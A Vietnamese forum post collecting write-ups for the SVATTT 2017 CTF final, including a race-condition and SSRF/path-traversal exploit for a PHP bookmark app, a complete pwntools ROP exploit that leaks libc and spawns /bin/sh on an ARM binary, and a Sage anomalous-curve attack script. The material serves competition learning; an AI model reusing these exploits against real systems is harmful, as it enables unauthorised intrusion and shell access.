-
30/08/2016
-
319
-
448 bài viết
Tổng hợp Writeup cuộc thi SVATTT Final 2017
Vòng Chung Kết Cuộc Thi Sinh Viên An Toàn Thông Tin 2017
ĐỀ BÀI
ĐỀ BÀI
Mã:
[Done]1. Shellcap --- Ghost in the shell. Shell in the cap--- Submit svattt{secret hash} --- Jeopardy (Misc) --- tinduong --- http://final.svattt.org/challs/shellcap.pcapng
2. Music Box Daemon --- Peter --- nc119.81.181.254 31333 ---- http://final.svattt.org/challs/music_box
3. Image Storage --- Daemon --- Peter --- nc119.81.181.254 31338 ---http://final.svattt.org/challs/image_storage
4. [Done]Hello ARM --- Daemon --- Peter --- nc119.81.181.254 31335 --- http://final.svattt.org/challs/hello_arm
5. Serial me --- You need to provide 10 numbers and get the flag! Good luck! --- Jeopardy (Reverse) --- quangnh89 --- Ofline--- http://final.svattt.org/challs/serialme.exe
6. [Done]NoteService --- vnsec note service is fast and free. Check it out! --- Daemon --- quangnh89 --- nc119.81.181.254 31337 --- http://final.svattt.org/challs/noteservice
7.[Done] Onion ---Security is like an onion, each time you peel a layer, it's become clearer, and simpler. However, this challenge, is not.--- Jeopardy --- Crypto --- Cothan ---Ofline---http://final.svattt.org/challs/onion.zip
8.[Done] NotSideChannel --- In real world, when application leaks something, attacker can calculate secret from the leakage. However, this challenge, is not.--- Daemon --- Cothan --- nc119.81.238.121 25455 --- http://final.svattt.org/challs/notsidechannel.zip
9.[Done] Injection2 --- Easier than injection1 --- Jeopardy --- Chim --- http://final.svattt.org/challs/injection/
10.[Done] SflagContract --- https://pastebin.com/HJUpDZZF --- Jeopardy --- k9 --- Offline
11.[Done] shcat --- ssh [email protected] --- pw:goodluckguys --- Jeopardy --- k9
12.[Done] The last bullet --- Sometimes shoot into yourself is a best solution ... --- Daemon --- g4mm4 --- http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/
Solution
12. The Last Bullet - Daemon
------------------------------
Một chút thính lúc vào game: robots.txt12. The Last Bullet - Daemon
------------------------------
Mã:
User-agent: *
Disallow: /backkup-1337/
Gắp được ra 3 cái params insert, access_key và path
- Nếu không set param insert => Select và hiện kết quả theo access_key
Disallow: /backkup-1337/ [/CODE]
- Nếu set param insert => Insert vào db dữ liệu lấy từ access_key và path, ngay sau đó thì ... delete ?? ??
Mã:
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html";
$url = mysql_real_escape_string($url);
if(preg_match('/(#|\?|&)/i', $url))
{
exit('Bad words!');
}
$sql = "INSERT INTO local_bookmark (url, access_key) VALUES ('" .$url. "', '".$access_key."');";
...
include_once("delete.php");
Nhưng ...
Ngay từ đầu khi đọc source, mình nhận thấy khá bất thường khi tác giả luôn đặt hàm connect, close db ở từng file, cộng thêm việc vừa insert vừa delete nhìn vội vler .
Ya, nó có mùi Race condition.
Code khai thác:
Mã:
import thread
import time
import requests
import random
def exploit(access_key):
resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?path=xxx&insert=1&access_key=xxxxx"
+str(access_key))
try:
ak = random.randint(1000000,9999999)
thread.start_new_thread( exploit, (ak,) )
thread.start_new_thread( exploit, (ak,) )
resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak))
print "http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak)
print resp.text
except:
print "Error: unable to start thread"
Insert được rồi, giờ sao?
Để ý một chút:
Insert được rồi, giờ sao?
Để ý một chút:
Mã:
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html";
Mã:
$sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
$bookmark = $row["url"];
//echo "Your Temporary bookmark is: " . $bookmark."<br>";//For harder version, my Ninjas ;)
echo "Ok, Ok !!! You win ;)";
}
}
echo file_get_contents($bookmark);
Local System:1337
Mình có thể biến cái $url trên kia thành dạng như này:
http://tradahacking.vn:xyz@localhost:1337/phiasaumotcogai.html
Thay vì tradahacking.vn là domain thì nó sẽ bị chuyển thành username
Nhưng giờ lại kẹt tiếp phát nữa, cái cần bây là directory listing của http://localhost:1337 chứ không phải http://localhost:1337/phiasaumotcogai.html
May thay trong lúc chưa ra cái hint local system:1337 (mà thực ra cái hint này nó có sẵn từ đầu trên title Web rồi
mà mình k để ý ), mình đã đẩy request trên kia về server riêng và fuzz linh tinh :v
Mã:
119.81.181.252 - - [xx/Nov/2017 xx:xx:28] "GET /./././../../././././././././././././././/../././/phiasa HTTP/1.0" 404 -
Nhiệm vụ bây giờ chỉ là đẩy request về server riêng, truncate cho vừa đủ hết cái file html kia, xong thay lại localhost:1337 vào (cho đỡ nhầm lẫn )
Mã:
index.php?path=:xyz@localhost:1337/.//./././../../././././././././././././././/.././././././&insert=1&access_key=xxxxx
Get flag.php
Mã:
index.php?path=:wtf@localhost:1337/./././././././././././././././././././././././././flag.php&insert=1&access_key=xxxxx
Trích Stingk8
7.Onion - Jeopardy
------------------
------------------
File
Sau 1 thời gian ngắm nghía thuật toán mình hiểu nôm na thuật toán sẽ đi theo flow :
process >>> Transform >>> Enlarge >>> Generate_equation
Trong đó :
- process chuyển flag về dạng bin , với size = 9, mảng FLAG sẽ chứa 64 phần tử. FLAG ban đầu sẽ bị đổi thành bin và lấy lần lượt 9 số 0,1 sau đó đổi sang integer rồi append vào mảng. Nếu size = 8 thì cũng không có gì để nói cơ mà bài này là 9 nên đáng lưu ý ở đây.
- Transform chỉ là biến đổi các phần tử của mảng FLAG đi tí thôi, hàm này ta có thể dịch ngược lại được.
- Enlarge Chỉ là cộng thêm mỗi giá trị của mảng 1 phần tử. Mình không cần dịch ngược cũng được. Ở bước sau ta có thể lược bỏ đi bằng cách (x+0x636f,y + 0x636f ) vậy là ta tìm được x và y luôn
- Generate_equation Bản chất hàm này mình giải phương trình tìm lại FLAG sau khi bị biến đổi, sau đó đi ngược lại -> transform -> get flag
Ok mình đã tìm được FLAG sau khi bị biến đổi, tiến hành detransform -> đổi sang hex, công lần lượt 9 bit lại, decode bin -> flag
Nà ní ?? @@ sao sai nhỉ , ?????????????
Hmm có chắc là độ dài của mỗi block ở bước process đều là 9 hay không??? Có vẻ như sai ở đó, nên mình thử giảm xuống xét 63 block thôi.
Ok vậy là đoán đúng rồi. Block cuối result chắc hẳn là ” } ”
Flag: SVATTT{Wel1_secur1ty_1s_l1k3_4n_0nion_actually_0r_m0re…an_illusi0n!!!}
Code
Trích Koman4130
4. Hello ARM - Daemon
---------------------
Sau khi thọt ở vòng sơ khảo với bài formatstring. Mình đã phục thù với bài daemon noteservice . Nhưng lại ngã với bài hello_arm.… .---------------------
Trong buổi thi thì BTC có cho file img arm để tạo env debug. Xui làm sao hôm đó load file đó lại không ra mạng được, không setup được gdb. Mình down src gdb về build nhưng đến cuối lại bị failed. Thế là hôm đó quỳ với bài này…
Về nhà mình đã tự build img arm và setup peda-arm để debug.
Link các challenges đã được VNSEC public : https://docs.google.com/spreadsheet...EtYHYepcI3GG3rEIpEM/pubhtml?gid=0&single=true
Check file:
Mã:
hello_arm.1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=c81cfe892f89ccc0d55b9e5d4ec40048b00de0d6, stripped
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Quăng vào IDA thì dễ dàng thấy lỗi bof ở đây
Mã:
int sub_1054C()
{
int v1; // [sp+0h] [bp+0h]
puts("Overflow me.");
read(0, &v1, 1024u); // <--- bof
return puts("End");
}
ta thấy ins SUB SP,SP, #0x80 với SP là reg stack pointer nên ta cần padding 0x84 để có thể overwrite địa chỉ trả về.
Bài này có bật ASLR trên server nên cần phải leak địa chỉ libc base trước.
Để có thể leak được thì cần đưa địa chỉ GOT vào thanh ghi R0. Và cần một gadget dạng pop {xxx,pc} để đưa hàm cần gọi vào reg PC (program counter).
dùng ROPgadget để thử tìm gadget cần :
ROPgadget --binary hello_arm
1051c: e8bdb913 pop {r0, r1, r4, r8, fp, ip, sp, pc} (popret)
nhưng không control được R0.
Đến đây thì mình đã stuck. Nhưng chợt nhớ đến hint của BTC là thumb2-mode .
Sau khi tìm hiểu (http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344c/Beiiegaf.html ) thì được biết rằng architecture arm có 3 loại instruction sets là : ARM, thumb và thumb2. ARM dùng instruction 32-bit, thumb dùng instruction 16-bit và thumb2 32 bit mixing giữa 2 loại này (hỗ trợ thumb trên 32-bit và ARM).
Trong thumb2 mode thì có một quy định để biết instruction nào của mode nào (arm hay thumb) bằng cách (https://stackoverflow.com/questions/37836861/jump-between-thumb-and-arm )
- nếu bit 0 của địa chỉ là 0 thì CPU sẽ execute dưới dạng arm code
- nếu bit 1 của địa chỉ là 1 thì CPU sẽ execute dưới dạng thumb code
- Nếu parse sai thì CPU sẽ báo lỗi
Vì mặc định của của ROPgadget sẽ không hiện các instruction thumb nên cần phải thêm options --thumb
ROPgadget --thumb --binary hello_arm
Ở đây có 2 gadget mình cần là :
0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr (popR3)
0x000105c6 : mov r0, r3 ; pop {r7, pc} (movR0)
Payload mình sẽ là :
- popret
- popR3
- got read
- mov R0 ,R3
- plt puts
- return to main
Mã:
payload=""
payload+='B'*(0x80+4)
payload+= p32(popret+1)
payload+="A"*4+ p32(popr3+1)
payload+=p32(file.got['read']) # parameter
payload+="A"*24
payload+=p32(movr0+1)
payload+="AAAA"
payload+=p32(file.symbols['puts']) # call function
payload+="BBBB"*7
payload+=p32(ret2main+1)
Sau khi leak được libc, tiếp theo chỉ cần tính các offset binsh và system để call system(“/bin/sh”)
script :
Mã:
from pwn import *
file = ELF('hello_arm.1')
libc = ELF('./libc-2.23.so')
def main(argv):
if len(argv)<2:
r = remote('localhost', 31335)
else:
r = remote('119.81.181.254',31335)
ret2main = 0x0001054C
r.recvuntil('Overflow me.\n')
popret = 0x1051c
# 1051c: e8bdb913 pop {r0, r1, r4, r8, fp, ip, sp, pc}
popr3=0x000105fc
#0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr
movr0=0x000105c6
#0x000105c6 : mov r0, r3 ; pop {r7, pc}
#pause()
payload=""
payload+='B'*(0x80+4)
payload+= p32(popret+1)
payload+="A"*4+ p32(popr3+1)
payload+=p32(file.got['read'])
payload+="A"*24
payload+=p32(movr0+1)
payload+="AAAA"
payload+=p32(file.symbols['puts'])
payload+="BBBB"*7
payload+=p32(ret2main+1)
r.sendline(payload)
r.recvuntil("End")
print r.recvline()
libc.address=u32(r.recv(4))-libc.symbols['read']
syst=libc.symbols['system']
binsh=next(libc.search('/bin/sh\x00'))
log.info("libc base : " + hex(libc.address))
log.info("system : " + hex(syst))
log.info("binsh : " + hex(binsh))
payload=""
payload+='B'*(0x80+4)
payload+= p32(popret+1)
payload+="A"*4+ p32(popr3+1)
payload+=p32(binsh)
payload+="A"*24
payload+=p32(movr0+1)
payload+="AAAA"
payload+=p32(syst)
payload+="BBBB"*7
payload+=p32(ret2main+1)
r.recvuntil('Overflow me.\n')
r.sendline(payload)
r.interactive()
if __name__ == '__main__':
main(sys.argv)
Bài này cũng không khó, chủ yếu phải setup được môi trường … hi vọng lần sau sẽ không ngã với arm nữa …
Trích znqt
8. NotSideChannel - Deamon
--------------------
Tải source của challenge tại http://final.svattt.org/challs/notsidechannel.zip – mình tự gõ lại link luôn đấy
--------------------
Ok, nói trước là bài này mình không giải ra trong thời gian thi. Và thật ra là trong thời gian thi mình chả làm được bài nào, so sad.
Bóc phốt time: trong khi thi và sau khi thi xong mình vẫn nghĩ bài này không phải là ECC, ECC méo gì không cho p cũng chả có a, b, ai chơi
Tóm tắt source: có một server cho ta nhập một số n, server sẽ trả về toạ độ x của point Q, với Q = nP. Nhiệm vụ của chúng ta, là tìm một số k sao cho Q.x() = SECRET = 0x636f7468616e(cho bạn nào chưa biết, secret là hex-encoded nickname của tác giả).
Tới thời điểm này thì mình buộc phải thừa nhận đây là một bài ECC (sorry bạn nào hôm đấy nghe mình nói nhảm nhé
- Tìm p:
Lợi dụng oracle ở hàm check, ta có thể có được p. Binary search có lẽ là cách tốt nhất để tìm p trong trường hợp này, tất nhiên, trừ cách chày cối làm tay. Mình thì tay to hơn não, nên, mình làm tay. - Tìm a, b:
Hàm calculate, như đã nói, sẽ trả về Q.x(), với Q = nP, n do chúng ta nhập.
Thử nhập 1 và 2, server trả về như sau:
Nhập 1, ta nhận được Q.x(), Q = 2P. Nhập 2, ta nhận được Q.x(), Q = 3P.
Ok lượn qua Wiki để xem công thức point multiplication như thế nào: https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplicationGiây phút giấy bút lên ngôi:
Dễ thấy, a, b của chúng ta bây giờ chỉ phụ thuộc duy nhất vào biến y. Tiếp tục dùng Q = 3P:
Mọi chuyện đã trở nên dễ dàng hơn…
Chỗ này có một lưu ý nhỏ, L2 và L3 đều có 2 giá trị căn bậc hai. Tại sao mình lại chọn như vậy?
Nếu tinh ý, chúng ta sẽ nhận ra đường cong này là một đường cong đặc biệt:
Rõ ràng đến đây, ta nhận ra mấu chốt để giải bài này là việc chọn các giá trị căn bậc hai sao cho thoả mãn E.order() == p, để có thể thực hiện Smart order attack, hay anomalous curve attack.
May mắn cho mình, dù chơi ECC không nhiều, chỉ biết vài attack cơ bản, nhưng bài toán lần này vô tình lại trùng với một trong những bài mình đã làm, ở đây: https://hxp.io/blog/25/SharifCTF 2016: crypto350 "British Elevator" writeup/
Vậy không có lý do gì không modify lại script có sẵn:
Mã:
from sage.all import *
p = 0xda69d0d477a051c98f6b3336c307cf48f4385b83c356c1506d82b3aa1027b029b
A = 121827787187395522386932772379433644358783356270469716574116255032260423356674
B = 1499440054797214876455236405029756855444492541104689272009331667309909832278511
xP = 0
yP = 1445276229495444552228801510235047612557952146848015883554855381941261402389406
xQ = 109330345517422
yQ = 616807790983772327369764320365083547136422790519828801546456853324847676552512
E = EllipticCurve(GF(p), [0, 0, 0, A, B])
assert E.order() == p
Qp = Qp(p, 2)
Ep = EllipticCurve(Qp, [0, 0, 0, A, B])
yPp = sqrt(Qp(xP) ** 3 + Qp(A) * Qp(xP) + Qp(B))
Pp = Ep(Qp(xP), (-yPp, yPp)[yPp[0] == yP])
yQp = sqrt(Qp(xQ) ** 3 + Qp(A) * Qp(xQ) + Qp(B))
Qp = Ep(Qp(xQ), (-yQp, yQp)[yQp[0] == yQ])
print('Pp = {}'.format(Pp))
print('Qp = {}'.format(Qp))
print('-' * 40)
lQ = Ep.formal_group().log()(- (p * Qp)[0] // (p * Qp)[1]) / p
lP = Ep.formal_group().log()(- (p * Pp)[0] // (p * Pp)[1]) / p
print('-' * 40)
e = lQ / lP
print('e = {}'.format(e))
assert e[0] * E(xP, yP) == E(xQ, yQ)
print('\n--> Found: {:d}\n'.format(e[0]))
Conclusion: Cám ơn các anh VNSecurity, các anh Viettel đã tổ chức một kỳ SVATTT với nhiều bài hay, đặc biệt cám ơn anh @Cothan vì hai challenges Crypto xuất sắc. Mong cho mong ước của anh trong flag sẽ thành hiện thực. Cám ơn tất cả các anh em đã tham dự kỳ thi SVATTT này. Lần nữa, xin chúc mừng UIT-r3s0L đã giành chiến thắng xứng đáng!
Trích Blog Quân Đoàn
10. SflagContract - Jeopardy
FileBài này thì theo gợi ý của đề bài, mình thấy có 1 link
https://etherscan.io/address/0xeec8a45a3406c8cf1de7ba0083b1c8dd2e31a27f
Click vào thì nó đưa mình đến 1 trang gì đó, chắc là liên quan đến hoạt động mua bán bitcoin
Để ý thì có hoạt động có age cách đây 4 ngày ( có vẻ trước ngày sv attt ) nên mình đoán đó là cái mà mình cần quan tâm
Follow theo và xem thử
Để ý ở bên phàn Tool & Unities mò thử phần Remix Debugger
Có 1 đoạn hex , decode ra được:
Ok :v nãy giờ mình quên mất cái file pastebin còn có mấy dòng code :v mà nhìn ngắm hồi, và để ý cái chức năng remix debugger. Mình cho nó chạy hết quá trình truyền, mình có flag
Trích Blog Komang
Chỉnh sửa lần cuối: